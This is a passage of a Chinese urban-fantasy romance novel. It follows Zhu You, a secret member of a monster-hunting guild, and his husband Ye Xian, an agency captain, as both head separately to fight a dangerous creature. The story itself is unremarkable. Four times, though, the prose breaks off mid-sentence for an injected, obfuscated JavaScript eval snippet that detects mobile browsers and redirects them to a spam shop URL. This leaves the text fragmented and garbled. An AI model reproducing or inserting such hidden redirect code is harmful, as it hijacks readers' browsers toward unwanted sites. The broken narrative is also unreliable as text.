竹幽做的事情,对于这些普通人来说,应该是完全接受不了的。 为什么叶弦会接受得这么自然? 甚至连一声好奇都没有。 “那个——”竹幽主动伸出手,扯住叶弦走向浴室的脚步,“你……” 为什么不询问理由。 这几乎是彼此心知肚明的一句话。 但叶弦不,他扬起嘴角,反将竹幽揽进怀里:“我知道了,老婆想要和我一起洗。” 竹幽:“……” 青年张了张口,彻底无言。 谁曾想竹幽这副沉默的反应,反倒给了那人更多鼓励,硬是将竹幽拉进浴室,洗了个鸳鸯浴。 同时语气意味深长,意有所指道:“这种事情不用说,我都知道的……” - 不得不说,熬夜的危害还是很大的。 至少对于竹幽来说是弊大于利。 重新睁开眼的时候已经是中午十二点,身边的位置早就没有了余温。 竹幽扔掉怀里不知道何时被叶弦放进来的抱枕,眯瞪了好一会才从床上起来,顺便打开了房间的智能AI助手。 “今天是六月十九日,天气晴,温度20-34度……” 切频。 “总统选举近日已经结束,少部分人对现结果存在争议,部分市区发生大规模游行抗议……” 继续切频。 “现在为您播报地方新闻,有低等污染物于昨日出现在海湾市西区荒废楼盘,经相关部门处理,现已恢复安全……在这里提醒各位市民少去陌生的地方,保护好自身安全……” 竹幽完整听完了这条新闻。 虽然在他听来,其中有不少存在争议的点,但事情不是非黑即白的,只要拿到利益,竹幽并不在意好名声落在谁的头上。 收拾好仪容仪表,竹幽再次出门。 还是回到熟悉的城中村。 与之前相比的是,这次换了条街,没有了先前佝偻的老头,取而代之的是一位身形瘦削的男子。 对方穿着一身黑色衣服,戴着口罩和帽子,完全看不清脸。 竹幽淡然地走到他面前,停在一个距离对方不远不近的地方。 他走路很轻,但还是被对方所察觉。 “你的报酬。” 男子声音沙哑,像是很长时间没有说过话了似的。只见他动作熟练地从口袋里拿出一个黑色小包,远远地抛给竹幽。 那小包看起来不过手掌大小,看起来很不显眼。 竹幽稳稳接住。 没有更多的话,男子转头就走。 “留步。”竹幽开口叫住他,轻轻地抛了抛手里的小包,像是在估摸分量。 男子一言不发地看着他,即便眼睛没有露出来,但竹幽也能明确感受到对方传来的视线。 没有恶意,也没有任何亲近之意。 “替我给上头传个话,”竹幽笑了笑,将那东西妥善装起来,“就说,我以后没太多时间接活了,报酬直接打到卡里,不用线下交易源质。” 帮组织干活一般都有两种不同方式的报酬,一种是现金,直接打进卡里。 另一种就是像竹幽现在一样,进行线下“交易。” 只不过交易的东西就不再是现金,而是一种非常罕见的东西:源质。 源质作为污染物的核心,承载着大量的能源物质。 据说这种东西能够激发人的潜能,做到寻常人难以到达的程度。 普通人不知道源质,甚至连竹幽都是阴差阳错加入了公会之后才知晓的。 对面的男子显然没想到竹幽会说出这种话,不过也只是微微愣神,很快反应过来。 “随你。” 他声音像是机器,不带一丝感情色彩。 至于诧异的原因,竹幽也能猜到大概。 无非就是一点:和源质比起来,金钱能带来的收益太廉价。 财富积攒到了一定程度后就只是数字,和那些能激发潜能的神秘源质相比较,大多数人都会选择后者。 竹幽一开始也是。 但他现在改变了想法。 男人的身影很快消失不见,低调地像是从来没有出现过。 竹幽慢吞吞地在巷子里转了几圈,确定没有人跟着自己后,才重新回到那间破旧的出租屋。 老头这次不在,但他的帐篷还留在这里,有不明显的血腥味从中传来,周围还萦绕着一堆苍蝇嗡嗡叫。 竹幽淡淡地看了一眼,回到老破小房子的地下仓库。 与窄小的地面建筑相比,地下仓库的设施更为完善。 密不透风的防盗门和钢板能挡住绝大部分的攻击。 竹幽打开层层叠叠的门,不知道从哪个角落里掏出个密码箱。 2、1、8、0、0、0。 一个个按下数字,“滴——”地一声,密码箱应声而开。 里面赫然是形状、大小、色彩、质地都不尽相同的“宝石”。 竹幽从中拿出一颗粉色的,对着灯光照了照,宝石瞬间绽放出更加绚丽的色彩,看起来漂亮极了。 青年却看起来没什么表情,把先前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305303|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进口袋里的黑色袋子拿了出来。 打开之后,里面赫然也是一颗青色的“宝石”。 晶莹剔透,诱人品鉴。 竹幽将它和箱子里的其他源质摆在一起,沉默地关上箱子。 如果不是亲眼见到,他一开始也不相信,那些黑暗污秽的污染物身体中能有这种绚丽的东西。 这太不可思议了。 箱子里的源质大大小小,加起来一共有十几颗,都是竹幽先前做任务积攒下来的。 在最初的时候,竹幽也曾想过,如同事们一样吸收一颗,但等到真正那样做的时候,身体就会莫名产生一种抗拒之意。 按理来说,经过组织处理过的源质不会出现副作用,身体不应该如此抗拒,但竹幽却从来没有真正吸收过一颗。 直觉告诉他,污染物和源质之间一定有着什么秘密,但这么多年过去,竹幽依旧没有什么发现。 唯一能确定的是,自己身体的反应是对的——这些源质,普通人还是尽量少吸收为好。 就这样一直攒着,不知不觉中竟然也有了这么多。 匹夫无罪,怀璧其罪。 左右也不能给叶弦用,不如找个良辰吉日,打包卖给别人…… - “队长,我们昨晚真的没有偷懒!” 做完五十个俯卧撑、十公里跑步、三十个深蹲之后的杜嘉许累趴在地上,大喘气的说:“不信你问三清!” “今天看到新闻,我们还以为是你在后面看不下去,主动帮我们清剿的呢……” 两个小萝卜气喘吁吁的躺在训练场,叶弦穿着训练服,坐在走廊的台阶上,意味深长的看着他们。 “我会有这么好心?” 要不是昨晚出门跟着竹幽,叶弦根本不会在下班时间还处理工作。 更别提体贴下属这种事,完全是无稽之谈。 陈三清和杜嘉许对视一眼,瞬间读懂了对方眼中的深意。 叶弦说的确实没错,但是…… “但不是队长的话,难道是污染者公会那边的?” 除了他们深渊管理局,平时能够接触到污染物的人,就只剩下那群公会的疯子了。 污染者公会的人杀污染物都是为了掠夺源质,一般都是遇到高等污染物才会出手,怎么会好心帮他们处理低等污染物? 陈三清:“但是他们眼光很高,一般不会动手吧?” 杜嘉许:“万一就是良心发现了,主动帮忙,来向我们管理局求和的呢?” 陈三清:“……别想了,咱们两家注定是对立面。” 杜嘉许:“好像也是,这事太奇怪了……” 两人就这样,你一言我一语的在训练场上聊起来,全然没有注意到旁边叶弦越来越深邃的目光。 讨论到最后,杜嘉许得出最终结论,激动的拍了一下大腿:“我知道了!” 这下连叶弦的注意力都被他吸引过去。 只见杜嘉许压低声音,神经兮兮道:“肯定是他们组织进了新人,在像咱们一样练兵呢!” 这话说的有理有据,如果叶弦昨晚不在现场,指不定真的会被他忽悠住。 “怎么样队长,我说的对不对?” 在杜嘉许期待的目光中,叶弦勾起嘴角,冷笑两声:“练兵你也比不上对面,下午继续训练。” 惨痛的叫声萦绕在训练上上空—— 5. 没改行 【05、相机】 “万先生。” 房间内没开灯,只放着一张木桌。 木桌很长,正前方端坐着一位中年男子。 一道身材瘦削的身影缓缓走进门,恭敬地对这位中年男人鞠了一躬。 被称作万先生的男人抬了抬手,那道身影才敢在椅子上坐下。 如果竹幽在这里,一定能够认出来,这个人就是下午和自己对接任务、提供源质的口罩男。 口罩男原本冷淡的态度,在面对万先生的时候却变得无比恭敬:“已将源质安稳送到。” 万先生“嗯”了一声,抽了口手里的烟,声音听不出喜怒:“他这次还是没有直接吸收?” “……” “说话。” “回先生,没有。” 男子的声音中带着颤抖,声线不稳,整个人像是非常害怕的样子。 “我知道了,”万先生抬眼,语气不悦,“还有别的事情吗?” “有……他说,想休息一段时间,不接任务了,以后……以后也不需要源质作为报酬。” 此话一出,周围寂静一片。 口罩男甚至连呼吸都差点停下来。 “啪嗒,啪嗒——”是万先生打火机的声音。 他又点燃了一支新的烟。 “不要源质?”万先生将先前的话重复了一遍,带着些许嘲弄。 口罩男:“是,是的。” 他当时在听到竹幽这么说的时候,心中的震惊不比现在的万先生少。 源质完全是有价无市的东西,口罩男完全想不到,到底什么样的人,才会放弃这种普通人完全得不到的机会。 毕竟吸收源质就意味着脱离了普通人的范畴,成为“污染者”。 污染者意味着人上人,意味着可以接触时空裂缝,去探寻那个神秘的“里世界”。 没有人能拒绝这种诱惑。 没有人知道污染者公会的由来,只知道他们是由无数个污染者构成。 但是多么可笑,公会居然还会有竹幽这种主动拒绝源质的人。 听完他的话,万丰利沉默地抽完了烟,没有多说什么,抬手叫人退下了。 口罩男忙不迭地离开。 等到房间再次安静下来的时候,万丰利才看向身后原本黑暗的地方:“你都听到了?” “听到了又如何?” 另一道大腹便便的身影缓缓走到万丰利的身边:“没有确切的答复,谁都不能对他动手。” 至于这个“他”指的是谁,两人都心知肚明。 万丰利不以为然地笑了笑:“是吗?” “就算再特殊,他也是上头指派下来的人,你可不要忘了啊……” - 不管其他人怎么想,竹幽的“退休”生活显得分外惬意。 真正休息起来才明白,以前过的都是些什么苦日子。 天不亮就要起来杀人,杀完人还要处理血迹,麻烦得很。 要是再倒霉一点,被深渊管理局抓到什么马脚,又要经历一段时间的逃亡。 那群深渊管理局的外勤人员简直就是一群疯子。 尤其是那位传说中的新队长。 竹幽没有见过这位队长的真实面容,却听段飞云提起好几次,说自己被追杀到天涯海角,易容变装之后都还能被认出来。 更有传言说这位队长嫉恶如仇,非常厌恶污染者,被抓到的结果就是折磨致死。 被盯上未免太过危险。 竹幽自觉是已婚人士,有家室的人更应该惜命一些。 所以,那所谓的新队长,还是不要招惹为好。 不仅不近人情,处理污染者的手段还层出不穷。 ……真是个变态。 “老婆在想什么?” 身后传来叶弦低沉温柔的声音,打破了竹幽的思考。 竹幽丢下手里的铲子,回头笑了笑:“你怎么来了?” 和那个疯子比起来,他觉得叶弦简直就是另一个极端。 虽然爱说点不中听的话,但至少行为举止都是正常人。 叶弦挑眉:“刚下班,宝贝怎么又在这里刨土?” 由于某些难以言说的原因,竹幽最近“被迫”下岗,退休的日子太过无聊,只能在花坛里侍弄些花草。 就是不知为何,这工作在叶弦的嘴里就变成了刨土。 竹幽莞尔:“在种花。” 不是刨土。 “种的什么?”叶弦逐渐靠近他。 “月季,还有果树……”竹幽指着花坛,一一为他介绍。 “这样……”叶弦几乎是眼都不眨地说出下一句,“那到时候开的第一枝花,可以送给我吗?” 竹幽差点没反应过来:“什么?” 叶弦便好心地重复了一遍:“月季花,可以送给我吗?” “当然。” 种在花坛里面就是他们共享的,不分你我。虽然竹幽有点理解不了对方的执着,但叶弦既然开口了,总是要给的。 “谢谢宝宝。” 叶弦弯起嘴角,此刻显然是好心情。 竹幽眨了眨眼,什么话都没说,只是在第二天让人运来了更多月季花苗,叫工人种了好多棵。 叶弦一定很喜欢这个吧? 不然的话,也不至于主动问他要了。 于是,下班回来的叶弦再次看到的就是焕然一新的花坛,和在旁边期待地看着他,一脸邀功的竹幽。 叶弦顿住脚步:“都是你弄的?” 竹幽却摇了摇头:“没有,你不是喜欢吗?”他只是叫工人多栽了几棵。 叶弦却没忍住上前抱了抱竹幽。 到底是哪里来的小古董。 真是太可爱了,他想。 怎么会有这么聪明,却又这么不会谈恋爱的人。 他喜欢的是竹幽,而不是月季花。 月季花是爱屋及乌,竹幽才是真正的宝物。 这让叶弦忽然想起,之前是怎么遇到竹幽,又继而发展成恋人,最后结婚的故事了。 - “队长,目标在南方。” 耳麦中传来队友的声音,叶弦的注意力却被眼前蹲在地上的人吸引住。 恰逢傍晚,夕阳的光笼罩在青年的身上,给人镀了一层神圣的光。 对方留着半长的头发,鼻梁高挺,睫毛细密乌黑,唇色红润,此刻正微微歪着头,看起来困惑极了。 竹幽也确实在好奇,他的目光落在地上。 那是一个地摊,上面随意摆放着许多老物件。 不知为何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305304|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从加入公会之后,他就变得很少出门。 段飞云总说他太沉默寡言,缺少和人沟通的能力,让竹幽在没有任务的时候也出来走走,见见世面。 今天是竹幽长大后第一次认真出门逛街。 他看上了一个相机。 拍照片的,应该会很有意思。 但摊主见他是个年轻人,有些狮子大张口:“这个是佳能几年前的款式,已经停产了,你要是实在想要,我可以打折,一万三卖给你。” 显然是看准了竹幽是个软柿子,准备狠狠地捏一把。 竹幽倒没觉得有什么不对,他对钱向来没什么概念,一串数字而已,眨眼就挣到了。 但在准备付款的时候,前方却忽然伸出了一只骨节分明的大手,挡住了黑心摊主的收款码。 竹幽看得很清楚,对方的手指很长,指腹有很厚的茧子。 “抱歉,这是我朋友,他不太懂这些。” 竹幽抬头——是个身材高大的陌生人,他并不认识。 这位陌生人的话虽是对着摊主说的,目光却温和地看着竹幽,还飞快地眨了眨眼。 竹幽有些不明所以地看向他,借着对方手腕的力量站起身。 紧接着,在他震惊的目光中,这位陌生人用三言两语道破了摊主的小心思,检查了一遍镜头和电池之后,将价格砍到了三百块。 “三百,不卖就算了。” 叶弦语气肯定。 他早就在旁边看了半天,要不是这老板太黑,他是不会主动上前打扰的。 实在是看不下去才出的手。 事实上,叶弦砍价倒真的有几分天赋。 知道他是个识货的,摊主连忙回答说卖卖卖。 “三百块,这是最低价了啊。” 还没反应过来的竹幽愣愣地看着他。 发生了什么,怎么忽然就从一万三变成三百了? 叶弦笑了笑:“看我干什么,付款啊。” …… 一番拉扯后,两人拿着旧相机离开了摊位。 竹幽刚准备郑重地道谢,又听见对方说话。 “这个相机的镜头是坏的,不介意的话,我可以帮你修。” “哦对了,忘了自我介绍:我叫叶弦,弓玄弦。” 竹幽点点头:“竹幽。” 想了想他又补充道:“幽静的幽。” 于是叶弦又笑起来。 耳麦里队友还在呼叫,叶弦正了正神色,认真道:“不是要帮你修相机吗,我还有点事,先加个联系方式。” 竹幽听话地掏出手机,又把坏掉的相机递给对方。 叶弦说:“不怕我私吞了啊?” 竹幽摇摇头:“你不会。” “这么相信我?” 竹幽没说话了,继续安静地点头。 叶弦哑然失笑,拍了拍他的肩膀:“不骗你,走了啊,修好之后记得一起拍张照。” “以后想买东西拿不准的也可以问我,没必要花冤枉钱。” 两人就这样分开。 这是一次简单的初遇,整个交涉过程甚至都不超过十分钟,可叶弦现在想起来,那些细节还是十分清晰。 后来叶弦又借助那台相机找了竹幽许多次。 照片也真的拍了很多张。 6. 偷偷去 【06、出差】 海湾市深渊管理局。 杜嘉许狠狠伸了个懒腰,又打了个哈欠:“最近好闲啊。” 不知道为什么,自从上次的低等污染物莫名消失之后,最近一连好些天都没什么动静。 内勤的倒还好,正常处理工作。 他们这些外勤的可就没那么幸运了,每天都在被叶弦以“有备无患”的托词拉到训练场上拉练。 其实有能力进去外勤部,几个年轻人的身体素质都很不错,奈何有珠玉在前,他们的实力就显得分外不起眼。 “小心又被队长抓到偷懒。” 不远处传来内勤小姐姐的好心提醒。 杜嘉许连连应声,拿起手机,准备去卫生间摸个鱼再回来工作。 没想到刚转身就遇到了刚从会议室出来的叶弦。 男人大步流星,眉头紧锁,神色严肃,看了眼杜嘉许,没有多说什么,抬手放人离开了。 “出什么事了队长?” 内勤妹子巩玉好心地探出头:“韩少校又拉你去开会啦?” 叶弦颔首,长话短说道:“隔壁市区出现了高等污染物,外勤的都收拾收拾,准备出差。” 说完这句话之后,叶弦就快速地离开了办公室。 众人你看我我看你,都有点难以置信的样子。 污染物产生了这么多年,按理来说每个市区都至少有一个甚至多个当地管理局。 像这样人手不够的情况是非常少见的。 众说纷纭,其中一道声音显得有条不紊:“你们忘了吗?” “除了人手不够的情况,还有一种可能。” 说话的是陈三清,此话一出,众人的大脑忽然清明起来,但脸色却变得更加难看。 是啊,除了人手不够就只剩下一种可能。 那就是,污染物的级别太高,太危险,需要双方配合才能剿灭。 — 竹幽正在看书。 轻柔的音乐萦绕在客厅,阳光通过窗帘折射进来,让整个人都懒洋洋的。 “嗡嗡——” 手机传来特殊的消息提醒。 ——【老婆,临时有点事,需要出差,今晚不用等我回家。】 ——【[爱心][爱心]】 竹幽目光一怔,问他:【去哪里出差?】 或许对方正在忙,这边迟迟没有等到回复。 看了一半的书籍被随意扔在旁边,竹幽的注意力却无法再次凝聚,频频看向手机的方向。 终于,过了十几分钟,手机终于又有了动静。 只是这次和之前的有所不同,传出来的不是悠扬的铃声,而是一种耳朵难以捕捉到的低频震动。 ——是公会那边的消息。 果不其然,打开就是好久不见的段飞云。 海湾市最忧郁的男人:【临城市出现了高危污染物,去不去?】 海湾市最忧郁的男人:【公会已经派韩老大过去了,要不咱俩也偷偷跟过去,说不定还能捡点漏。】 临城很近,就在隔壁市。 竹幽却兴致缺缺:【捡漏?】 捡破烂还差不多。 韩敬深的行事风格只能用雁过拔毛来形容,能捡到点破烂还算幸运的。 去晚了啥也见不着。 正欲拒绝,微信弹窗却从后台跳出来 ——【去临城市,很近的,两天就可以回来了。】 叶弦的出差地点竟然也在临城。 — 这边,段飞云正在绞尽脑汁地想要说服竹幽,叫他陪自己一起去趟临城市。 只是没想到消息还没发出去,对方就主动递来了信号。 竹幽:【行。】 竹幽:【现在就出发?】 连着两句差点惊掉段飞云的下巴,以防对面后悔,他连忙删掉了打好的字。 海湾市最忧郁的男人:【不是你这么急?】 段飞云真没想到竹幽能答应,毕竟他幽哥向来有点懒。 别提出市区了,让人出个门都很难。 认识对方好几年,段飞云还是第一次见到竹幽这么爽快。 竹幽:【?】 竹幽:【……走不走。】 — 市区不远,开车去很方便。 这次出任务的有四个人,除了杜嘉许和陈三清,还有个沉默寡言的石鸣。 陈三清在开车,叶弦坐在副驾,沉默地听着耳麦中传来的信息。 对方是临城市的外勤队长,已经带着队伍深入到污染物的附近。 “这只高等污染物我们已经观察了很多天,目前还在寻找宿主,暂时处于第一阶段,我们需要在这个阶段解决掉它,千万不能让它找到宿主,进入第二阶段……” 信号有点差,耳麦中的声音断断续续。 叶弦皱眉,把具体信息说给车里的另外三个人听。 杜嘉许心有余悸地听完:“幸好高等污染物对寄生宿主的要求高,万一它狂暴了,半个临市都要完蛋……” 到时候不说出于正中心的他们,就连近百公里中的居民,都要因为污染物的攻击而死去。 后座一直沉默的石鸣却忽然开口:“我朋友是临城的,他们大半个市区都被下了橙色预警。” 橙色预警最近几年已经很少出现,叶弦都快忘了上次和这个等级的污染物交手是什么感觉。 看着手机里不断推送的新闻,心底不安的感觉又被再次加深。 随着年龄增长,叶弦很久都没出现过这种感觉。 上一次出现不安的感觉还是因为从小陪伴他的宠物狗死了。 这次呢? 会是什么? 几人沉默地坐在车里,半晌后,叶弦拿起手机,啪啪敲了两行字,最后看向身边的陈三清,严肃道:“开快一点。” — 接到叶弦消息的时候,竹幽刚坐上段飞云的车。 炫酷的跑车造型时尚,颜色鲜艳,引得无数路人驻足观看拍照。 “怎么样,我的车帅不。” 车里,段飞云随手将中控台的一个箱子递给竹幽:“上次你托我买的手枪,给你送来了。” 竹幽的视线落在黑色箱子上,一言不发地打开了暗扣。 “啪嗒——” 里面赫然是一支花纹细腻,造型独特的枪支。 竹幽的眼睛亮了亮,把玩了两下新玩具:“还不错。” 这三百万花起来比三十的打车费值。 段飞云骂骂咧咧:“是枪不错还是车不错?” 竹幽笑眯眯的:“都不错。” 段飞云这才满意,骄傲地扬起脸:“那是。” “哦对了,”紧接着,段飞云又指着手枪的底部,“这里刻的有字,就是你经常用的那个标志。” 竹幽用指腹摩挲了一下,随即点点头:“谢了。” “哎呀,小事小事。” 段飞云踩下油门:“待会你别这么摆就行,橙色等级的污染物都多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305305|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出现了,不从韩疯子那抢一口我不得劲……” 就算韩敬深自身实力再变态,也不可能一个人吞下这个等级的污染物。 就算抢不到源质,剩余的血液和身体组织也有研究价值…… 竹幽:“知道了。” 话虽这么说,目光却看向了手机。 刚才叶弦又给他发了信息。 ——【宝贝你这两天不要出门,乖乖待在家,我很快出差回来。】 ——【外面太危险了,没有吃的就叫机器人送餐。】 竹幽看着消息,手指却不由自主地蜷缩起来。 他实在是不太擅长撒谎,有些不知道怎么回消息。 告诉叶弦,会给对方徒增烦扰,不告诉的话,自己心里又过意不去。 毕竟他才答应对方“改行”,不接触这些危险的事物…… 正烦扰得不行,没想到这时段飞云忽然漫不经心地提了一嘴:“咋了,又是你老公啊?” 竹幽还没接上话,对方便继续道:“我就知道,查岗是不是?” “天天这样疑神疑鬼的,你真的能忍受下去啊……” 段飞云显然已经陷入了臆想当中无可自拔,还在叠加问题:“他平时看你手机吗,不会看到了咱俩的聊天记录吧?” 竹幽闭了闭眼,心中浮现一丝丝的无奈。 “有没有一种可能,”他微笑着看向段飞云,“我们从来不查岗呢?” 还有,他和段飞云的联系方式都是加密的,有时候竹幽要找出来都要费好大力气,外行人根本破译不了密码。 他这样一说,段飞云只能尬笑:“这样啊,哈哈,我知道了。” 竹幽不语。 十秒钟后,段飞云继续尬笑:“你们感情真好。” 这次竹幽满意了:“谢谢。” 他也觉得很好。 — 叶弦率先到达临城市。 这边负责此次污染物的是位经验丰富的前辈,看起来年纪不小了。 两人礼貌握手,很快开始对接现场工作。 令叶弦诧异的是,对面不止请了他们一个外援,基本上把周边城市能够借到的人都给请过来了。 这也更能说明此次危机的巨大。 几人按照对方的旨意,拿着专业武器,来到确定点位。 这里是一片老旧的居民区,里面的居民早就被工作人员遣散,现在还在这里的只有一群管理局的人,还有一只污染物。 叶弦的脑海一团乱麻,一边在担心眼前的事情,一边在想竹幽。 竹幽还没回他的消息,不知道有没有安心在家…… 现场很安静,没有多余的脚步声,污染物安静地待在正中心,一动不动。 由于它还没有找到宿主,现在只能以抽象的外形出现。 没有四肢也没有脑袋,只有各种黏腻触手汇聚成的集合体。 触手的吸盘在流淌着粘液,还时不时地在空中飞舞,整体看起来非常丑陋。 “戴上眼镜,不要直视它。” 耳麦中传来后勤人员的提醒。 高等污染物有污染神智的作用,一旦盯着它太长时间,自我意识就会被慢慢消解。 行走在前线,与污染物作战,向来是一件很危险的事情。 没有明确的指令,所有人都没有动,大家甚至连呼吸频率都高度相同。 叶弦一直瞄准着中心地带,不知怎的,心跳忽的漏了两声。 紧接着,异象突发—— 7. 偷偷去 【07、危险】 众目睽睽之下,所有人眼睁睁看着原本一直巍然不动的污染物忽然有了动静。 浑身上下的黑色触手不断蠕动、伸缩,竟然开始移动! 它的目标看起来很明确,居民区的街道明明十分宽阔,污染物却视若无睹地向某个方向走直线。 就算经过荆棘丛生的花坛,也没有绕路,直接踩在上方前行。 草本生的荆棘对它起不到一点伤害作用,反而被污染物移动过程中留下的粘液灼烧,迅速枯萎死去。 ——荆棘丛失去了生命力。 见到这一幕的所有人都不由得心下一惊。 高等污染物总是拥有与众不同的能力,时至今日,被管理局记录在册的就有好几种。 有的能控制液体,有的能蛊惑神智,更甚者还拥有学习能力。 每当这种拥有特殊能力的污染物出现,深渊管理局和污染者公会两大组织都会为了争夺特殊源质而打得你死我活。 临城市的这一只污染物已经出现很长时间了,当地管理局一直没能摸清它的实力。 ——直到现在。 后台人员提醒道:“所有人保持高度戒备,目标生物疑似拥有灼烧的能力……” 叶弦的目光却透过护目镜,凌厉地看向地面花坛的位置。 “不是。” 他张了张嘴,却没有发出声音。 “——不是灼烧。” 远在高楼之上,一道懒散的身影倚靠在栏杆上。 男人穿着一身低调运动装,墨镜大得快要遮住整张脸,侧脸上有一道不明显的刀疤,再往下……兴许是早上没刮胡子,留下了些许青茬。 此人正是先前被竹幽二人讨论过的韩敬深。 男人叼着一支烟,随意地转动着手里的金色手枪,幽幽叹了一口气,吐出袅袅青烟,颇有些恨铁不成钢道:“这么多年了,那群管理局的人还是一样废物……” 旁边的小弟立刻狗腿地上前:“还是韩大人您厉害,一眼就看出了其中的不同。” 韩敬深瞥了他一眼:“你也是,净会拍马屁。” 他一直在楼顶看着污染物的举动,得益于某些原因,让他站在这里也能清晰看清几百米之外的地方。 包括被糟蹋得不成样子的花坛。 灼烧吗……这能力未免太过普通,送给他都不要。 在他看来,那东西的能耐可远远不止于此…… 除了灼烧、腐蚀、消解,还有一种更深层次的解读—— - “目标危险,所有人不得靠近!!” 这边,污染物正垂直往高楼攀爬。 居民楼有几十米高,九十度的直角墙面,它爬起来也毫不吃力。 但是,令人意外的是,污染物经过的墙皮却没有半分脱落,依旧保持着原来的状态。 小分队三人被叶弦拉到角落。 陈三清率先开口:“只有植物被腐蚀了,它的能力是只对植物起作用?” 杜嘉许则满脸不可置信:“邪门了,地心引力对那玩意没用吗,它怎么还在爬!?” 叶弦闭了闭眼,说出最坏的推断:“最坏的可能,它刚才在吸收生命力。” 荆棘丛的结局是枯萎,不管是灼烧还是腐蚀,都无法造成这样的结果。 只有被抽取了生命力,才会在短时间内彻底死亡。 “那……”杜嘉许双手捧着脸,“这也太可怕了吧……” 祸不单行,石鸣在旁边提出一个刚才大家都忽略了的本质问题:“污染物在移动,是不是意味着……它找到了宿主?” 此话一出,众人的脸色瞬间变了。 - 这边,段飞云二人历经千辛万苦,终于抵达了临城市。 他们没有叶弦那种专业车牌照,被边界防护人员当成了主动来送死的疯子,还被好言好语劝了好几句。 没办法,两人只好把车子远远停在远处,然后偷偷溜进了疏散圈内。 街道上一个人影也没有,竹幽走在街道上,显得形单影只。 倒是段飞云不知从哪里弄来了一根草,叼在嘴里,说话也含糊不清:“话说你方向感这么好,每次都能找到污染物的老巢——” “安静。” 竹幽目光专注,似乎感受到了什么。 窸窸窣窣,有东西在高速移动。 同时还有低频的触手抓地声、口水滴落声…… 咚、咚、咚,竹幽的心跳在不断加快。 下一秒,他几乎是瞬间反应过来,一把拉住旁边段飞云的胳膊,将其扯到三米开外的位置。 紧接着,在他原本站着的地方,一股喷射状的不明液体骤然落下。 段飞云嘴里衔着的草在移动过程中掉落,接触到那股液体后,很快褪去绿色,枯萎衰败。 段飞云看着眼前的景象傻眼了:“卧槽这是什么东西啊!!” 怎么还玩不起搞偷袭呢? 竹幽的视线却没有落在粘液上,他死死盯着面前墙壁的转角,表情严肃。 有东西在暗处盯着他。很危险的感觉。 见他一动不动,段飞云很快也反应过来:“这是污染物吗?” “不是说有管理局的人在场吗,他们怎么盯的目标??” “再不济还有韩敬深啊,他怎么也不在!我们明明才刚来好不好!” 段飞云双手捂着脸,精神状态显然不太好。 那东西不肯现身,竹幽主动朝前迈了一步。 果不其然,下一秒,湿漉漉的触手从墙角探了出来,正是此次污染物的本体——D-027。 竹幽看过新闻,记得它的编号。 D,danger,通常意味着危险,不可靠近。 它也是目前发现的第二十七只拥有特殊能力的污染物。 污染物现身之后没有马上对竹幽发动攻击,而是罕见地停顿了几秒,像是在用人类的方式思考一般。 紧接着再次吐出粘稠液体,攻向段飞云。 躲避这些液体不难,可段飞云骂骂咧咧:“我靠它为什么只盯着我啊,对我有意见吗?” 竹幽叹了一口气:“不是。” 段飞云:“什么?” 竹幽:“它应该是选中我……当寄主了,现在正在不伤害寄主身体的同时,清剿周围的一切活物,包括那些绿植。” “什么……”闪避间隙,段飞云看向四周,这才发现不知何时,周围连一棵活着的树都见不着了。 他尬笑两声,看向竹幽:“那啥,这东西的占有欲还挺强。” 竹幽眼神一变,段飞云立刻改口:“你瞪我也没用!要换我肯定比你先死啊……” 竹幽:“……” - “报告,跟丢了……” “目标移速过快,肉眼难以追踪。” “仪器显示朝南方去了,大概距离这边……十三公里。” 隔离圈内,每个人都在焦急地讨论着刚才发生的事情。 污染物的速度原本很慢,可不知为何,眨眼间就消失在了原地。 能够瞬移的污染物在早些年就已经被清除,现在的情况只能解释为移动速度过快。 各个市区的外勤人员站在原地,面面相觑。 这是所有人之前完全没有预料到的情况,他们做了诸多设想,唯独没想到污染物会在执行任务时找到寄主,然后彻底消失。 消失之后,就只能用专业机器寻找踪迹,又要浪费好长时间。 虽然管理局在十三公里外也布置了相关人员,但和这边的人手比起来只是杯水车薪,完全起不了作用。 一阵激烈的讨论声过后,组织此次剿杀行动的队长终于下达了通牒:“所有人转移阵地,必须找到D-027的下落。” “如果发现普通人,务必保护好对方,不能让污染物找到寄主。” ——“收到。” ——“明白了队长。” “……” 叶弦默不作声地藏在人群中,他望着污染物移动的方向,眼皮又不受控制地跳动了几下。 压下心底那个最不可能的猜测,叶弦开车带着手下的人向南边驶去。 - “啧,这是哪两个傻子。” 一道沙哑的声音在竹幽头顶响起。 段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 